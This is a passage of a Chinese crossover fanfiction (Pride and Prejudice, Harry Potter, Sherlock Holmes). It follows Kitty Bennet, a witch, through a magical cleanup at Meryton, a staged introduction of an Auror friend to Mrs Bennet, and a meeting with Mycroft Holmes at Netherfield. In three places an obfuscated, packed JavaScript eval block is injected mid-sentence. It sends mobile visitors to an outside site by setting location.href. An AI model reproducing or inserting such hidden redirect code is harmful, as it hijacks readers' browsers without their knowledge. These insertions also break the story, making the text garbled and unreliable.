因为他觉得凯瑟琳就像一个情感绝缘体,认识这么多年了也没见对方和哪个异性有过恋爱传闻。最大的可能就是凯瑟琳对这种事情根本没有想法,万一被她知道自己喜欢她,凯瑟琳觉得自己是个麻烦就糟糕了。 加雷斯从霍格沃茨毕业后,经过了三年的系统培训,就在不久前才刚刚正式成为一名合格的傲罗。 他也没有想到自己能在这个地方再一次遇见凯瑟琳,自他从霍格沃茨毕业,就再也没有见过凯瑟琳了。 “你住在这个镇子吗?” “不,我住在附近的乡村,离这里挺近的。今晚是和家人们一起来梅里顿参加一个舞会。” 加雷斯这才注意到凯瑟琳的装扮,是和霍格沃茨校服或者任何一种巫师衣服完全不同的风格。 他眼里闪过一丝惊艳,不住夸赞道:“哇,第一次见你穿这样的衣服……我是说,很漂亮,真的很漂亮。” “谢谢,只是女性麻瓜的礼服裙而已。” “麻瓜的舞会……一定很有趣吧?” 凯瑟琳意有所指:“还不错,舞会就在刚刚魔力暴动导致玻璃窗爆裂的宴会厅举行。” 加雷斯:“……”What should I say now? “魔法部的人就快来了,放心吧。”加雷斯看了一眼楼下街道上嘈杂的人群,“我们会处理好一切的。” 说魔法部魔法部到。 加雷斯的话音刚落,魔法部的人就来了。 或许是没想到这一次特雷斯坦·维尔在麻瓜界造成的破坏这么大,魔法事故和灾害司只来了两个人,而整个梅里顿目睹今晚事件的人至少有三百个。 善良的凯瑟琳再一次地伸出了她的援手:“我可以帮助你们完成消除麻瓜记忆,但是今晚被损坏的普通麻瓜的财产你们得负责好。”比如得给人家把房子屋顶修修好,吓坏的马栓回原来的车。 火急火燎赶来善后的两位魔法事故和灾害司巫师:“没问题,没问题!” 还有什么比上班的时候碰到能带飞全项目组的大佬愿意替你加班更让人感激涕零的事情吗? 那一定是没有啊! 8. 第 8 章 两个小时后,所有的善后工作终于结束。 时间已接近午夜,赶来支援的傲罗们与艾德里安一道,将逃犯押送回魔法部拘留区。此时,场间只剩加雷斯与魔法事故和灾害司的两位巫师。 这两位巫师皆长得十分有特色,一位高瘦,一位矮胖。 高瘦的巫师上前一步,诚恳地向凯瑟琳致谢:“今晚多亏了您的相助,事情才能如此顺利解决。不知您现下隶属哪一部门?若有意更换去处,我们魔法事故和灾害司正缺您这样出色的同僚。” 近百年来,随着巫师与麻瓜世界的接触愈发频繁,魔法事故和灾害司的事务也成倍增长。小到魔杖走火,大到麻瓜目击事件,每一宗都需他们出面善后。 遗憾的是,如今的大多数纯血或混血巫师依旧对麻瓜世界心存戒备,鲜少愿意涉足与他们相关的事务。魔法事故和灾害司的工作辛苦、琐碎,又时常要与麻瓜打交道,既不体面,也无多少升迁的机会。 因此,愿意加入这个部门的人年年稀少,编制上永远缺口不断。相比魔法法律执行司的风光或神秘事务司的高深莫测,他们更像是一群在阴影里默默收拾残局的人。 凯瑟琳甚少主动获悉魔法部相关的事情,对于魔法事故和灾害司的了解仅限于上一世,她印象中1990年代后的魔法事故和灾害司并没有这位巫师说得这般人手紧缺。 但转念一想现下大多数巫师对于麻瓜的排斥,似乎也不是不能理解了。 她自己就是一个纯麻瓜家庭出身的巫师,这一世在霍格沃茨也没少受到纯血统巫师的歧视,尽管她本人压根不在乎这些巫师的小心思。 再者,她的成绩实在是过于优秀,优秀到能让所有纯血统出身的同学和教授们都闭嘴,所以她在霍格沃茨过得还算顺心。 “我三个月前才从霍格沃茨毕业,这段时间一直在陪伴家人,暂时没有求职的打算。” 凯瑟琳略一停顿,最终还是补充道,“我的家人并非巫师——正如您所见,我出身于一个麻瓜家庭。至于未来是否会重新回到魔法界工作,我还没有做最后的决定。” 高瘦巫师并不是一个对麻瓜有太多偏见的人,“了解,但无论如何请告诉我您的名字,让我们知道今夜是谁帮助了我们。” “我叫凯瑟琳·班内特,先生。” “凯瑟琳·班内特!”只听那个矮胖的巫师高呼一声,“你就是凯瑟琳·班内特?” 高瘦巫师惊诧于同僚的失礼,“斯科特?” 矮胖巫师的脸上溢出喜悦的神情:“泰特,你忘了吗?今年到霍格沃茨招人的时候,我们就听说了她的名头!连续七年年级第一的拉文克劳!” 经他提起,高瘦巫师泰特终于回想起了一点记忆。 他几乎是有些激动地说道:“班内特小姐,如果您日后改变主意,愿意回到魔法界寻求工作机会,请一定记得我们——魔法事故与灾害司的大门永远为您敞开。我们正需要像您这样的巫师,实力出众,又了解麻瓜世界的运作。坦白说,再没有比您更合适的人选了。” 他的话说得真诚又有道理,甚至把凯瑟琳都说动了三分。 毕业后的这段日子里,凯瑟琳其实还未认真思考过自己的未来。 但她很清楚,若是彻底离开魔法界,抛下巫师的身份,选择留在麻瓜世界,那么等待她的,便是那个时代所有年轻未婚女性都绕不开的问题。 在麻瓜社会,女性能选择的道路寥寥无几。婚姻被视为理所当然的归宿,若不愿早早嫁人,除非如少数才华横溢的女作家般,以笔为生,否则几乎没有独立的可能。而班内特家的财产并不足够她单身挥霍一辈子,她必须得找到一份体面且能养活自己的工作。 凯瑟琳并不觉得自己有写作的天赋,也不认为自己有做家庭教师、女仆或女工的意愿。那么留给她选择的职业几乎就所剩无几了。 相比之下,魔法界似乎宽容些。至少在那里,女性的职业与地位不必完全系于婚姻。她若愿意,可以凭实力与学识立足,不必在意别人眼中的适龄与体面。 然而,但是,可是,她已经不想再一次被卷入魔法界的争端和战争之中。这一世她真的只想安稳地度过一辈子。 现实与理想的差距甚远,不管选择留在哪一个世界都有她避之不及的麻烦。 凯瑟琳斟酌了片刻,开口问道:“先生,贵司是否有一种职位,是可以常驻在麻瓜界,专注于处理所有魔法界与麻瓜界的事务的?” 泰特被这个问题问住了,他认真思考了一下,摇摇头:“似乎是没有的。” 凯瑟琳并不轻言放弃:“诚如您所说,近百年来,随着麻瓜科技的迅猛发展,两个世界之间的接触愈发频繁。如果不能妥善处理彼此关系与突发事件,巫师社会的暴露风险必定会与日俱增。 我有一个不成熟的建议,或许您可以向司长,乃至部长汇报,提议在魔法事故与灾害司之下设立一个专职岗位——由熟悉麻瓜社会的巫师担任,常驻麻瓜界。遇到涉及魔法的事件时,可以第一时间出面调查、消除痕迹,并在必要时与麻瓜政府高层进行沟通。如此一来,贵司及魔法部各部门在处理麻瓜相关事故时,效率与应对力都会提升许多。” 泰特认真地听完凯瑟琳的陈述,脸上浮现出真诚的赞许之色:“班内特小姐,您的提议极具建设性,我个人非常认同。只是……” 他略微停顿了一下,谨言慎之,“此类新岗位的设立并非我一人所能决定。我会将您的想法原封不动地转达给司长与部长。若魔法部采纳这一建议,我一定第一时间通知您。请问,能否留下您的家庭住址?届时我会派猫头鹰送信给您。” “当然可以,我的家庭住址是……” 凯瑟琳道别了魔法事故和灾害司的两位巫师后,转身看着还站在原地的加雷斯。 “你不走吗?” 加雷斯挠挠后脑勺:“特雷斯坦·维尔押送回魔法部后,就不属于我的工作范畴了,我可以晚一点回去。虽然所有麻瓜的记忆都已经被消除了,但毕竟事因我而起,我认为出于礼貌和教养,应该去和你的家人邻里们打一声招呼。” 凯瑟琳露出一个难以理解的表情:“你也太有礼貌了,不过这没有必要,他们根本不记得刚才发生了什么。” “那受伤的麻瓜……” “都是玻璃割伤罢了,我已经用愈合如初把所有人的伤口都治好了。” 加雷斯:“……” 他是怎么有胆敢质疑学霸的效率的。 “……” 一阵沉默。 凯瑟琳突然灵光一闪,恍然大悟:“啊……你是想参观麻瓜的乡村舞会?” 加雷斯:“Ye…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584294|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' s?” 凯瑟琳摆摆手:“跟我来吧。” 说完,她便身影一闪,再一看,人已经在楼下的街道边站着了。加雷斯也赶忙闪到凯瑟琳的身边,跟着她往梅里顿中心的宴会厅走去。 “如果有人问起来,你就说你是我在伦敦认识的朋友,家里做一些小本生意,前往圣奥尔本斯的途中路过梅里顿,因此来和我打一声招呼。” 加雷斯:“好的,好的。” 好贴心,连身份都帮他编造好了。 就在将要步入重新恢复了欢声笑语的宴会厅时,凯瑟琳的脚步顿了顿。 她转头看着加雷斯,郑重地说:“如果有人问起你的年收入,请你一定要回答年收入是五百英镑。” 家住伦敦小公寓,做小本生意,年收入只有五百英镑,任何一点都可以彻底打消班内特太太恨嫁女儿的心。 加雷斯点头但不解:“好的,但是为什么?麻瓜们的社交会问这么私人的问题吗?” “会的,你这么回答就可以避免很多麻烦和恼人且无用的社交。” 总觉得有哪里不对,但又不知道是哪里不对。 加雷斯:“年收入五百英镑在麻瓜界是什么水平?” 凯瑟琳撒谎不打草稿:“相当优渥的富裕家庭。” 加雷斯是一个纯血统巫师,当上傲罗之前他几乎就没来过麻瓜的世界,更不要说对麻瓜世界的了解程度了。 一金加隆兑换成英镑是多少钱? 他根本想不起来。 宴会厅内。 班内特太太正在四处寻找女儿。 自从两个小时前凯瑟琳说要去盥洗室之后,她似乎就没有再看见过凯瑟琳的身影。 一开始她还在和各位邻里太太们聊天,等到下半场舞会都要结束的时候,才发现跳舞的人群中根本没有凯瑟琳。 “你看见你的妹妹凯蒂了吗,简?” “没有,妈妈。” 简一个晚上几乎都在和宾利先生跳舞,没有留意妹妹的动向。 “莉兹,你看到凯蒂了吗?” 伊丽莎白正在和夏洛蒂说话,闻言回头看向班内特太太,摇摇头:“没有,妈妈。” “玛丽,你看到凯蒂去哪了吗?” 玛丽摇头,她在钢琴边上坐了一个晚上,光听曲子了,根本没关注谁在跳舞,“没有,妈妈。” 班内特太太的神经又开始隐隐作痛了:“噢,天哪,你们的姐妹跑到哪里去了?” 莉迪亚刚结束一曲舞蹈,呼吸间还有些喘,她来到休息区,在餐桌上端起一杯柠檬水,就看见班内特太太一脸焦急地往班内特先生的方向走过去,嘴里还念叨着凯蒂去哪里了。 “妈妈!” “莉迪亚,你看见凯蒂了吗?她下半场舞蹈跳了吗?我几乎就没有看见她!” 莉迪亚点点头,抬手指了指宴会厅的门口:“凯蒂不就在门口那里吗?她的一个伦敦朋友路过梅里顿,来和她打招呼。” “伦敦的朋友?” 莉迪亚八卦道:“是的,妈妈。一个来自伦敦的男性朋友,长得还非常好看。” 班内特太太惊呼:“长得非常好看!” 她提起裙摆,迫不及待地往莉迪亚手指的方向去。 “噢,天哪!天哪!一个伦敦的英俊男性朋友!” 9. 第 9 章 班内特太太自年轻时起便是个十足的颜控,这一点从她对穿制服的英俊青年尤为没有抵抗力就可以窥见一斑。 因此,当她看到女儿身边那位气度非凡的青年时,喜悦几乎写在脸上——那神情,与她早先看见简与宾利先生共舞时的激动,竟是不相上下。 在她眼中,颜值的重要性仅次于家世与财产。 “我亲爱的凯蒂,”她笑得合不拢嘴,“你是否打算给母亲介绍一下这位一表人才的先生?” 凯瑟琳不动声色地努了努嘴,果然不出她所料,班内特太太永远不会错过任何一个认识“潜在女婿”的机会。 “这是我在伦敦上学时认识的朋友,加雷斯·安斯里。” 加雷斯神情得体,微微前倾身子,绅士地牵起班内特太太的手,轻轻落下一吻。 “您好,班内特太太,”他礼貌地说道,声音温和有礼,“很荣幸见到您。” 这番举止令班内特太太几乎喜形于色,她轻轻拍了拍胸口,嘴角的笑意怎么也抑制不住:“天哪,多么有礼貌的年轻人啊!凯蒂,你这朋友可真是……太令人欣喜了。我敢说在场再也找不到比您更得体有礼的绅士了。” 凯瑟琳望望天花板,假装听不出来班内特太太是在内涵在场的哪位绅士。 “安斯里先生,您今天刚到梅里顿吗?” 加雷斯:“班内特太太,我此次是要前往圣奥尔本斯做生意的,途中经过梅里顿,想起凯瑟琳与我提起过她就住在附近,没想到缘分让我们在这里遇见了。” 凯瑟琳有些惊诧地看了一眼加雷斯,似乎是没想到他的演技居然这么好,编起人设来得心应手,一点儿也不像是第一次这么干的。 班内特太太:“今夜可有落脚的地方了?” 加雷斯:“很遗憾,班内特太太,我得在明天上午九点前赶到圣奥尔本斯,与合伙人会面,所以今晚不会在梅里顿留宿。” 听听,这人设和故事还越来越饱满完整了。 “哎呀,这可真是遗憾极了!”班内特太太忍不住轻叹,脸上依旧笑意盈盈,“安斯里先生,要我说,等您哪日有空闲,可一定要再来梅里顿。我们这里景致宜人空气清甜,比伦敦不知要强上多少倍呢。” “我一定会的,班内特太太,”加雷斯说道,语气温和而真诚,“能再来拜访您与您的家人,将是我的荣幸。” 班内特太太满意极了,眼神在加雷斯与凯瑟琳之间流转,仿佛已经在心中描绘出某种未来的图景。 凯瑟琳察觉到那目光,轻咳一声,假装没看见班内特太太嘴角那抑制不住的笑意。 她故意扯开话题:“你的生意如何了?我听说你去年的收益十分不错。” 加雷斯心领神会:“是的,是的,去年的年收入已经有五百英镑了。” 班内特太太上扬的嘴角僵住:“……” 等等,多少英镑? “容我多嘴问一句,安斯里先生,你家是住在伦敦的哪个区域?” 加雷斯愣了愣,这一点凯瑟琳之前没有和他串供好:“呃……” “贝斯纳尔格林,”凯瑟琳立刻接上话,“他住在伦敦东区的贝斯纳尔格林,妈妈。” 贝斯纳尔格林是伦敦东区的一个老城区,在这个时代是典型的工人阶级与小商贩聚居区,街道狭窄、人口密集、租金相对低廉。 稍微对伦敦有些了解的人都知道,贝斯纳尔格林并不是富裕人家会选择的居住区域。 果不其然,班内特太太一听到这个回答,脸上的笑容都淡了八分。 她清了清嗓子,对着还不知道发生了什么的加雷斯假笑一声,朝凯瑟琳招了招手,将女儿拉到一边说小话。 “凯蒂!你怎么会认识安斯里先生的?” “在伦敦的时候,有一次我到大英博物馆参观,偶然间认识的。” 凯瑟琳在心里叹了一口气,这谎话真是越编越没完了。 “你们之间没有发生什么吧?” 凯瑟琳摇头:“什么也没有,妈妈。加雷斯和我只是普通的朋友,这一次纯粹是路过梅里顿和我打一声招呼,顺便来参观一下梅里顿的乡村舞会而已。” 班内特太太舒了一口气,拍拍自己的胸口:“还好,还好。你可千万不能和一个年收入甚至还没有你嫁妆高的男人结婚!除非他能帮你留住朗博恩!” 凯瑟琳:“……我知道了,妈妈。” 看吧,即便再替女儿们恨嫁,在班内特太太的眼中,颜值的重要性依旧要次于家世与财产。 梅里顿舞会结束后,生活又再次回到正轨,直到大半个月个月后…… 朗博恩的早餐时间,一封来自尼日斐花园的信给这个普通的早晨带来了一丝生气。 班内特太太:“简!快看看这是谁送来的信?是不是宾利先生?” 不需要任何的形容词也能感受到班内特太太的激动,她简直快要把简手里的信盯穿了。 简小心地展开信纸,目光一瞬间亮了起来,却仍努力维持着镇定的神情:“是宾利小姐的来信……她邀请我到尼日斐花园做客,妈妈。” 伊丽莎白看了一眼窗户外的天空,厚重的云层遮住了太阳,风从灰白的天幕下吹来,卷起院中几片泛黄的树叶。 她眉头微蹙:“外面看起来要下雨了。” 然而班内特太太毫不在意,反而更加振奋,她坚持要让简骑马前往尼日斐花园。 即便伊丽莎白与班内特先生极力劝阻,仍无法动摇她的决定。 班内特太太早已在心里盘算好,这场雨若真落下,或许反而能促成某桩好事。 吃完早餐后,班内特太太就急急忙忙地催促着简到房间里更换衣服,她自己则吩咐管家去备马。 凯瑟琳走到简的房间门外,看着在镜子前整理衣服的简,开口问道:“简,上次我送你的那条珍珠蕾丝颈链呢?去尼日斐花园时戴上吧。” 简转过身,笑意温柔:“噢,凯蒂,那条颈链太贵重了。我怕被雨水打湿,还是等下次舞会再戴吧。” 凯瑟琳也不强求,她走到简的身后,微微侧身,探出脑袋看着镜子里的简。 她极少会去评论他人的容貌,但此刻仍不由得在心底轻叹—— 简的确是班内特家五个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584295|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹中最出众的那一个。 金色的长发飘逸,天蓝的眼眸澄澈,白皙的肌肤透着淡淡红晕,身姿丰腴又优雅,宛如古典画中走出的维纳斯,美得不容亵渎。 “你真美,简。” 简笑着侧头看着妹妹,眼中柔情似水:“凯蒂,你也很美。” 凯瑟琳将右手轻轻落在简的肩头,指尖微微一动,在她看不见的地方,空气中闪过一道极细微的光痕。 那是一个无声咒,轻若羽尘,带着她的一点点心思。 她无意改变有利于简未来人生的剧情,只是,她也不忍心看着简因这场雨病倒多日。 一个小小的防水咒而已,不足以改变任何人的命运,却足以让简不至于被雨水浸透衣衫。 至于那晚秋的冷风,是命运齿轮留下的余地。 “谢谢,”凯瑟琳微微一笑,右手离开简的肩膀,“去吧,简,祝你在尼日斐花园顺利见到想见的人。” 她看着简提起裙摆走出家门,被女仆搀扶着翻身上马,然后身影被雨雾渐渐吞没。 那一刻,凯瑟琳忽然觉得,命运有时就像这场将至的秋雨,看似细润无声,却足以改变许多人的一生。 而她这辈子的人生,似乎还没有一个清晰的未来。 伊丽莎白拉了拉凯瑟琳的手臂:“凯蒂,快进屋吧,雨要变大了,小心淋了雨染上风寒。” 屋里的壁炉被女仆生起了火,木炭噼里啪啦地作响,将室外的寒意彻底隔绝。 凯瑟琳捧着一本从班内特先生书房藏书里找到的门捷列夫的《化学原理》,舒适地窝在沙发里阅读。 她上上辈子是一个即将毕业的药物化学博士,或许是得益于此,她在霍格沃茨前后学习的十三年里,相比于为了保命才不得不努力学习的黑魔法防御术,魔药课才是她最喜欢也是学得最得心应手的课程。 可惜,这么多年过去,那段上上辈子的记忆仿佛被时间揉碎,越来越遥远,只剩下零散的影像与感受在脑海中闪现。 再一次捧起化学相关的书籍阅读,仿佛就像是得到了一把打开记忆之门的钥匙。 一些有趣而深刻的细节和早已融入肌肉记忆的操作,再一次从记忆宫殿深处被唤醒。 学到的知识会永远属于自己,凯瑟琳有些愉悦地想着。 窗外的秋雨还在下,这一下便下了一天一夜。 第二天早晨的时候,朗博恩的餐桌上不出意外地又收到了一封来自尼日斐花园的信。 简在淋了雨吹了风后,果不其然病倒了。 现在她正在尼日斐花园的客房里,独自忍受着孤独和病痛。伊丽莎白和简的感情向来最亲近,她十分心疼姐姐,决定亲自前去探望。 班内特太太却仍有些不放心伊丽莎白独自步行,她的视线很快落在正在吃着水煮蛋的凯瑟琳身上,转瞬间做了决定。 “凯蒂,你和莉兹一起步行去尼日斐花园,吃完早餐就出发。” 凯瑟琳有些意外地抬起头,看看班内特太太不容拒绝的眼神,再看看伊丽莎白期待的目光,咽下了嘴里的早餐。 “知道了,妈妈。” 10. 第 10 章 伦敦,唐宁街10号。 雨水顺着窗檐滴落,屋内的壁炉中,橘红的火焰跳跃着,将温暖的光影投在四壁的油画与书柜上。 现任麻瓜首相正坐在办公桌后,神情专注地翻阅着文件。屋内寂静,只能听见纸张翻动的轻微声响。 直到壁炉的火光忽然一闪。 原本橘色的火焰骤然变绿,墙上的时钟三针同时停下,空气中的尘埃失去了坠落的方向,静止悬浮在半空。 一瞬间,整个房间内的时间停止流动。 麻瓜首相猛地抬头,右手握着的笔“啪嗒”掉落在书桌上,心里一沉。 壁炉中那熟悉的绿色,意味着那个世界的来客。 果然,一个年迈的男人从火焰中走出,抖落斗篷上的灰烬。 “下午好,首相先生,打扰了。” 他说话客气,动作却极为随意,径直走到沙发前坐下。 来者正是现任魔法部部长——法瑞斯·斯帕文。 “下午好,斯帕文先生……这次又是什么消息?”麻瓜首相艰难地挤出笑容。 每当麻瓜世界里出现某种特殊的魔法事故或灾害时,魔法部部长便会通过壁炉中的飞路粉系统进入唐宁街10号的办公室,向麻瓜首相通报情况。 魔法部部长极少亲自现身,但一旦现身,往往意味着某种令人头疼的大事。 尽管他们总会在结尾补上一句“魔法部已将所有情况妥善解决”,强调来此不过是例行沟通。 但每一任知晓魔法界存在的麻瓜首相都深知事实并非如此简单。 或者说那个世界的存在本身就是一种危险,而每一次魔法部部长的来访,都在加剧这种感觉。 更令人不快的是,麻瓜首相无法主动联系魔法部。只有在魔法部认定必要或紧急的情况下,部长才会出现。 这种被动而单方面的信息交流,让人始终有种被蒙在鼓里的不安感,一种无从掌控却又必须接受的无力。 “噢!放松点,麻瓜首相先生。我有将近一年没来造访了,魔法界最近还算太平,你无需紧张。” 法瑞斯·斯帕文人送外号“喷子”,是有史以来任期最长的魔法部部长,也是最啰嗦的一位。 他一看到麻瓜首相这幅心如槁木的模样,差点又没有控制住自己的嘴。 麻瓜首相:“……” 将近一年没有闹出大灾难难道是什么很值得赞颂的政治功绩吗? 麻瓜首相:“请说正事吧,斯帕文先生。” 法瑞斯·斯帕文先是把这一年来涉及到麻瓜界的大大小小的魔法事件都一一陈述了一遍,最后的时候,才特意着重提到了半个多月前的梅里顿黑巫师逃犯追捕事件。 “……这次的逃犯十分狡猾,在赫斯福特郡的梅里顿造成了大面积的麻瓜财产毁坏以及伤亡,有一位无辜的麻瓜车夫死于他手。”法瑞斯·斯帕文顿了顿,接着道,“但是请放心,魔法部已将所有情况妥善解决。” 麻瓜首相毫不意外这句结语:“感谢您的告知。” 然而他内心十分清楚,如果只是普通的事件,魔法部部长是不会亲自跑一趟的。那些小到几乎不会被注意到的魔法事故,魔法部往往懒得通报。 法瑞斯·斯帕文亲自出现在唐宁街10号首相办公室,只说明一件事:这次的黑巫师逃犯追捕事件,所引发的影响,远比想象的要严重得多。 不过,身为麻瓜,即便是英国首相,也不可能被告知更多细节。 魔法部的通报永远点到为止。 工作完成,法瑞斯·斯帕文从沙发上起身,和麻瓜首相道别,便转身走向壁炉。“唰”的一声响,他的身影在火光中消失无踪。 下一秒,原本静止的时钟重新发出“滴答”声,指针恢复了运转。空气重新流动起来,壁炉的火焰也变回了温暖的橘色。 一切仿若梦幻,只有麻瓜首相知道刚才在这间办公室里发生了什么。 他暗忖片刻,按下了一个特殊的按铃,首相办公室的门被打开。 “尽快让麦克罗夫特·福尔摩斯到唐宁街10号来。” 伦敦,白厅。 今日工作难得稍显清闲,麦克罗夫特在时钟指针指向下班时间之前,便快人一步离开了办公室。 自从去年身兼两职以来,他极少有这样的轻松时刻。 首相私人秘书只是一个相对公开的职位,而鲜为人知的机密事务处数据信息分析官,才是他真正的日常工作所在。 但无论哪个头衔,都无不昭示着压倒性的工作量与责任。 像这样的准点下班,已经是值得今晚多吃一个草莓小蛋糕庆祝的幸运时刻了。 此刻,他心情愉悦,一路与擦肩而过的同僚点头致意。右手执一把黑色长柄伞,轻快地踏向出口。 “福尔摩斯先生,请留步。” 麦克罗夫特回头,叫住他的男人是首相身边的助手道森。 在道森走到他面前的十秒钟内,麦克罗夫特的脑子里已经排除了上百种首相先生可能紧急传唤他的原因。 得出的结论是:最近没有任何特殊的工作需要他被传唤到首相办公室。 那么一定是出现了某种此前不为人知的特殊情况,首相先生才会派道森前来白厅传唤他。 麦克罗夫特礼貌微笑:“道森先生。” 道森:“福尔摩斯先生,首相先生请您尽快到唐宁街10号。” 麦克罗夫特:“……” 果然如此。 握着伞柄的修长手指紧了紧,手背上的青筋微微凸起。 面上却不动声色,依旧保持微笑:“请吧,道森先生。” 呵,今晚回家必须多吃两个草莓小蛋糕。 *** 宾利与达西前两日入伦敦,去接一位特殊的客人。直到今日中午,他们才回到尼日斐花园。 才刚进门,宾利劈头盖脸就问管家:“她怎么样了?” 管家接过宾利匆忙递来的外套,答道:“Miss……她还在发热,宾利先生。” 宾利听后神色骤变,正欲快步上楼,却在迈出一步时忽然顿住。 今日还有一位特殊的客人随他一同归来,自己若就这样急匆匆地离开,未免显得太失礼。 然而,像是看出了宾利的纠结,这位特殊的客人倒是十分通情达理。 他主动开口替宾利解了围:“心爱之人生病,想必宾利先生一定心急如焚。这恰恰说明宾利先生是一位重情重义之人。礼节固然可贵,但在真情面前,偶有失礼亦属人之常情。请代我问候那位小姐,愿她早日康复,宾利先生。” 宾利心怀感激地微微鞠躬:“您真是一位善解人意的好绅士,福尔摩斯先生。请原谅我的失礼,待一切好转,我一定会尽心接待您。” 说完,他便步履匆匆地上楼离开。 达西看着好友的背影,无奈地叹息一声,只得代替宾利招待客人。 他难得露出了一个有些歉疚的表情:“我为宾利的唐突向您致歉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584296|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福尔摩斯先生。不过……您是怎么知道生病的人是宾利心爱之人?” 从进门到现在,确实没人向麦克罗夫特提过生病之人的身份。 麦克罗夫特摘下手套:“达西先生,在我看来,这其实并不难推断。” 他的目光轻扫过玄关处那件尚带寒气的外套:“宾利先生一进门就问‘她’的情况,这说明他早在伦敦时便已得知此事。而他的神情慌乱和焦躁,通常只会出现在深切关心之人身上。” 昨日晚间,宾利确实就收到了妹妹的来信,被告知独自前来尼日斐花园拜访的简染了风寒。 但至于其他的猜测…… 达西微微一挑眉:“宾利有两个姐妹,生病的人也可能是她们吧?” 麦克罗夫特从容答道:“倘若是他的姐妹,管家自然不会避讳名讳,不会在我面前迟疑。可刚才那位管家在看我一眼后,仍旧顺着宾利的话语回答‘she’,而非说明是Miss Who。这种犹豫显然出于谨慎——认为在外人面前直言这位小姐的身份是不明智的。” 他稍顿,语气轻淡:“除了主人亲属或受邀贵宾,少有年轻未婚女子留宿在主人亦是年轻未婚的男子家中。而一位让主人如此心急的女宾,既非宾利先生的亲属,又恰在此时生病留宿,可见她在宾利先生心中的地位非比寻常。由此,结论便呼之欲出了,这位小姐是宾利先生深有好感之人,应邀来访,不巧染了风寒,只得留在此处静养。” 达西愣了一瞬,随即失笑:“原来如此。宾利曾夸您洞察入微,如今我算是亲眼见识到了。” 麦克罗夫特:“观察,只是习惯成自然。情感往往比逻辑更易识别,尤其当它让人失去一贯的镇定时。” 达西点头:“福尔摩斯先生,我十分认同您对情感的见解。请随我到厅内坐下休息,尼日斐花园的红茶,想必不会令您失望。” 麦克罗夫特却有别的想法:“从伦敦到此已在马车中颠簸多时,若此刻再静坐于室内,恐怕要让双腿彻底麻木。不若请达西先生带我在园中走走,呼吸些乡间的新鲜空气。” 达西略一颔首,做了个请的手势:“当然可以,福尔摩斯先生,请随我来。” 两人沿着花园的草坪缓步而行,不时交谈着当下政商两界的热门话题。 不知不觉间,他们已散步至外围的树林边。 就在两人谈至英国铁路投资一案时,前方树林后,隐约传来了女子的说话声。 少顷,两道纤细的身影一前一后从树林间显现。 看到步行许久后,脸颊泛着健康红晕的伊丽莎白,达西明显一怔,声音里带着几分意外:“班内特小姐。” 伊丽莎白同样惊讶,随即得体地行了一礼:“达西先生。” 落后一步的凯瑟琳此刻也走上前来。 她倒是一点也不意外会在这里看到达西,甚至有些好笑地看着此刻早已为伊丽莎白沦陷的男人。 “咳,达西先生。” 达西这才注意到她:“另一位班内特小姐。” 这限定词加得……啧,男人。 凯瑟琳默默腹诽,目光有些意外地转向站在达西身旁的陌生绅士。 她并未在梅里顿和乡村附近见过这位男士。 按理来说,这一幕的故事中,不应出现达西以外的男人。 当然,也不应该出现伊丽莎白以外的女人。 但她是个已知的意外。 那么,这位陌生绅士又是哪只振翅掀起涟漪的蝴蝶呢? 11. 第 11 章 麦克罗夫特几乎在第一眼便猜到了,眼前这两位年轻小姐,大约与尼日斐花园中那位养病的小姐关系匪浅。 请不要怀疑他的判断力,关系匪浅只是一种委婉的说法,他有十足的把握断定,三位小姐应当是亲姐妹。 不过…… 他微微挑了挑眉,目光扫过达西,眼神中掠过意味深长的笑意。 真有趣,两位好友同时钟情于一对姐妹。 达西并没有察觉到麦克罗夫特那目光的含义,只略一顿,便介绍道:“这位是福尔摩斯先生。” 他转向班内特姐妹,又看向麦克罗夫特,“这两位是住在附近朗博恩庄园的班内特小姐们。” 凯瑟琳眼底闪过一丝惊讶。 原因无他,实在是福尔摩斯这个姓氏太耳熟能详了。而她第一次在现实中遇到一个姓福尔摩斯的人。 虽然在英国,尤其是英格兰北部,这个姓氏并不算罕见。 但某位文学人物家喻户晓的声名已经让它被赋予一种几乎神话般的识别度。只要听到这个姓氏,人们便会立刻联想到一个极为具体的形象。 这个世界,不会真的还有个叫夏洛克·福尔摩斯的人存在吧。 心中这么嘀咕着,她忍不住仔细打量眼前的这位福尔摩斯先生。 他的身形高大挺拔,身高与达西相仿,但那宽阔的肩膀让他显得更加魁梧一些。 发色近乎乌黑,在阳光下透出一点褐光。一双灰色的瞳孔深邃而锐利,若仔细观察,又仿佛有一抹水蓝在其中流转。 然而那流转并非柔情蜜意,更像透蓝的冰川,慵懒而疏离,带着一丝不易接近的冷淡。 面庞的肤色苍白,他没有留鬓角发,也没有蓄胡须,下颌的毛发被修剪得极为干净利落。 